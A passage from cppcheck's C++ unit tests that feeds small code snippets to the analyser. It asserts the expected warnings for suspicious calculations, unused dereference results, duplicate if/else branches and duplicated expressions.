[clarifyCalculation]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" return shift < sizeof(int64_t)*8 ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { a = *p ? 1 : 2; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { const char *p = x & 1 ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { x = a % b ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 1 ? '1' : '0'; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x % 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum {X,Y}; void f(int x) { return x & Y ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyStatement() {\n check(\"char* f(char* c) {\\n\"\n \" *c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:7]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char** c) {\\n\"\n \" *c[5]--;\\n\"\n \" return *c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:10]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a[5].v[3]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:17]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a(1, 5).v[x + y]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:24]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char* c) {\\n\"\n \" (*c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char* c) {\\n\"\n \" bar(*c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" ***c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char** f(char*** c) {\\n\"\n \" **c[5]--;\\n\"\n \" return **c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:11]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" (***c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int*** p) {\\n\" // #10923\n \" delete[] **p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char** c) {\\n\"\n \" bar(**c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char* p) {\\n\"\n \" for (p = path; *p++;) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::array,3> array;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #12088\n \" for (auto it = v.begin(); it != v.end(); delete *it++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch() {\n check(\"void f(int a, int &b) {\\n\"\n \" if (a)\\n\"\n \" b = 1;\\n\"\n \" else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" } else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:3:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 1;\\n\"\n \" else {\\n\"\n \" if (a)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:5:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"int f(int signed, unsigned char value) {\\n\"\n \" int ret;\\n\"\n \" if (signed)\\n\"\n \" ret = (signed char)value;\\n\" // cast must be kept so the simplifications and verification is skipped\n \" else\\n\"\n \" ret = (unsigned char)value;\\n\"\n \" return ret;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov bx, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3407\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n }\n\n void duplicateBranch1() {\n\n // tests inspired by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck )\n // Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" frac = front/(front-back);\\n\"\n \" else\\n\"\n \" frac = front/(front-back);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" { frac = front/(front-back);}\\n\"\n \" else\\n\"\n \" frac = front/((front-back));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n // No message about empty branches (#5354)\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" {}\\n\"\n \" else\\n\"\n \" {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch2() {\n checkP(\"#define DOSTUFF1 ;\\n\"\n \"#define DOSTUFF2 ;\\n\"\n \"void f(int x) {\\n\" // #4329\n \" if (x)\\n\"\n \" DOSTUFF1\\n\"\n \" else\\n\"\n \" DOSTUFF2\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch3() {\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:5:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\"\n \"[test.cpp:2:9]: (style) The scope of the variable 'j' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" i++;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch4() {\n check(\"void* f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" return new A::Y(true);\\n\"\n \" } else {\\n\"\n \" return new A::Z(true);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch5() {\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch6() {\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" int i = 0;\\n\"\n \" } else {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression1() {\n check(\"void foo(int a) {\\n\"\n \" if (a == a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void fun(int b) {\\n\"\n \" return a && a ||\\n\"\n \" b == b &&\\n\"\n \" d > d &&\\n\"\n \" e < e &&\\n\"\n \" f ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\"\n \"[test.cpp:3:15]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\"\n \"[test.cpp:4:15]: (style) Same expression on both sides of '>'. [duplicateExpression]\\n\"\n \"[test.cpp:5:15]: (style) Same expression on both sides of '<'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" return a && a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" a = b && b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(a,b == b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(b == b, a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a < b) && (b > a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&&' because 'aa' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a <= b) && (b >= a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'a<=b' and 'b>=a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || y!=3 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (style) Same expression 'x!=2' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 && (x=y) && x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || a && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b | b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a + b) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a | b) & (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a | b) == (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a1[a2[c & 0xff] & 0xff]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void d(const char f, int o, int v)\\n\"\n \"{\\n\"\n \" if (((f=='R') && (o == 1) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='R') && (o == 2) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='T') && (o == 2) && ((v < 200) || (v > 9999)))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) { return x+x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { while (x+=x) ; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a || b || b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a / 1000 / 1000) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int i) {\\n\"\n \" return i/i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Same expression on both sides of '/'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a << 1 << 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() { return !!y; }\"); // No FP\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different casts\n check(\"void f(long x) { if ((int32_t)x == (int64_t)x) {} }\",\n true, // filename\n false, // inconclusive\n false, // runSimpleChecks\n false, // verbose\n nullptr // settings\n );\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different ({}) expressions\n check(\"void f(long x) { if (({ 1+2; }) == ({3+4;})) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5535: Reference named like its type\n check(\"void foo() { UMSConfig& UMSConfig = GetUMSConfiguration(); }\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Variable 'UMSConfig' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n // #3868 - false positive (same expression on both sides of |)\n check(\"void f(int x) {\\n\"\n \" a = x ? A | B | C\\n\"\n \" : A | B;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const Bar &bar) {\\n\"\n \" bool a = bar.isSet() && bar->isSet();\\n\"\n \" bool b = bar.isSet() && bar.isSet();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b + a) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|' because 'b+a' and 'a+b' represent the same value. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(const std::string& a, const std::string& b) {\\n\"\n \" return a.find(b+\\\"&\\\") || a.find(\\\"&\\\"+b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b > a) | (a > b)) {}\\n\" // > is not commutative\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(double a, double b) {\\n\"\n \" if ((b + a) > (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The comparison 'b+a > a+b' is always false because 'b+a' and 'a+b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x == 1) && (x == 0x00000001))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'x==1' and 'x==0x00000001' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" if (Four == 4) {}\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) The comparison 'Four == 4' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" _Static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(4 == Four, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" if (FourInEnumOne == FourInEnumTwo) {}\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style) The comparison 'FourInEnumOne == FourInEnumTwo' is always true because 'FourInEnumOne' and 'FourInEnumTwo' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" static_assert(FourInEnumOne == FourInEnumTwo, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if (sizeof(a) == sizeof(a)) { }\\n\"\n \" if (sizeof(a) == sizeof(b)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"float bar(int) __attribute__((pure));\\n\"\n \"char foo(int) __attribute__((pure));\\n\"\n \"int test(int a, int b) {\\n\"\n \" if (bar(a) == bar(a)) { }\\n\"\n \" if (unknown(a) == unknown(a)) { }\\n\"\n \" if (foo(a) == foo(a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression2() { // check if float is NaN or Inf\n check(\"int f(long double ldbl, double dbl, float flt) {\\n\" // ticket #2730\n \" if (ldbl != ldbl) have_nan = 1;\\n\"\n \" if (!(dbl == dbl)) have_nan = 1;\\n\"\n \" if (flt != flt) have_nan = 1;\\n\"\n \" return have_nan;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return x-x; }\"); // ticket #4485 (Inf)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return (X double)x == (X double)x; }\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { float f; };\\n\"\n \"float f(struct X x) { return x.f == x.f; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int i; };\\n\"\n \"int f(struct X x) { return x.i == x.i; }\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n // #5284 - when type is unknown, assume it's float\n check(\"int f() { return x==x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression3() {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" if (x() || x()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo() const;\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() const {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo();\\n\"\n \" bool bar();\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class B {\\n\"\n \" void bar(int i);\\n\"\n \"};\\n\"\n \"class A {\\n\"\n \" void bar(int i) const;\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" B b;\\n\"\n \" A a;\\n\"\n \" if (b.bar(1) && b.bar(1)) {}\\n\"\n \" if (a.bar(1) && a.bar(1)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:18]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"class D { void strcmp(); };\\n\"\n \"void foo() {\\n\"\n \" D d;\\n\"\n \" if (d.strcmp() && d.strcmp()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((mystrcmp(a, b) == 0) || (mystrcmp(a, b) == 0)) {}\\n\"\n \"}\", true, false, true, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() { return rand(); }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void __attribute__((const)) GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() __attribute__((const));\\n\"\n \"void GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (str == \\\"(\\\" || str == \\\"(\\\") {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (bar(a) && !strcmp(a, b) && bar(a) && !strcmp(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5334\n check(\"void f(C *src) {\\n\"\n \" if (x(src) || x(src))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(A *src) {\\n\"\n \" if (dynamic_cast(src) || dynamic_cast(src)) {}\\n\"\n \"}\\n\", true, false, false); // don't run simplifications\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n // #5819\n check(\"Vector func(Vector vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"Vector func(int vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\"\n \"[test.cpp:2:29]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", // duplicate\n errout_str());\n\n }\n\n void duplicateExpression4() {\n check(\"void foo() {\\n\"\n \" if (*a++ != b || *a++ != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (*a-- != b || *a-- != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment\n check(\"void f() {\\n\"\n \" while (*(a+=2)==*(b+=2) && *(a+=2)==*(b+=2)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression5() { // #3749 - macros with same values\n check(\"void f() {\\n\"\n \" if ($a == $a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y 1\\n\"\n \"void f() {\\n\"\n \" if (X == X) {}\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y X\\n\"\n \"void f() {\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression6() { // #4639\n check(\"float IsNan(float value) { return !(value == value); }\\n\"\n \"double IsNan(double value) { return !(value == value); }\\n\"\n \"long double IsNan(long double value) { return !(value == value); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression7() {\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( i != sizeof (int)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:12]: (style) The comparison 'i != sizeof(int)' is always false because 'i' and 'sizeof(int)' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( sizeof (int) != i){}\\n\"\n \"}\");\n 